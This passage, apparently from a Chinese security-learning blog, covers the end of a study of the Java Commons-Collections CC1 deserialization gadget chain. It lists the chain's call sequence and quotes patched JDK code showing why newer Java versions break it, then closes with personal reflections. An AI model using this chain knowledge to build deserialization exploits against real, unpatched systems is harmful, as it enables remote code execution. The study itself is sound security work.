3
4
5
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()

我们可以发现AnnotationInvocationHandler.readObject()的代码变了(对比

这里删去了s.defaultReadObject(),增加了GetField var2 = var1.readFields(),使得在后面获取memberValues的时候获取的值并不是我们需要的LazyMap,从而不能实现invoke的调用

1
Error:java.lang.Override missing element entrySet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;

try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();

String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}

AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}

小结

意识流碎碎念

真的花了很长的时间来看CC1,一方面是在审计java的适应期,一方面是大部分时间在上课和补作业(不敢在上课玩电脑的屑

审计下来因为对java的不熟悉,所以有时候一晚上的时间也没能看懂多少,处于一种云里雾里的状态,不过到后来对类越来越熟悉之后就顺畅多了,虽然还是留下了亿点点问题

虽然特地学了一下动态代理,但是在走LazyMap链的时候,还是因为不能理解而卡在怎么才能调用AnnotationInvocationHandler#invoke上好一会

虽然算是走了一遍,但是感觉还是得再过几遍,不过也要开始看下一个Gadget了!(

最后感想,P神不愧是神!

再次特别感谢P神、AmiaaaZ师傅(虽然师傅并不认识我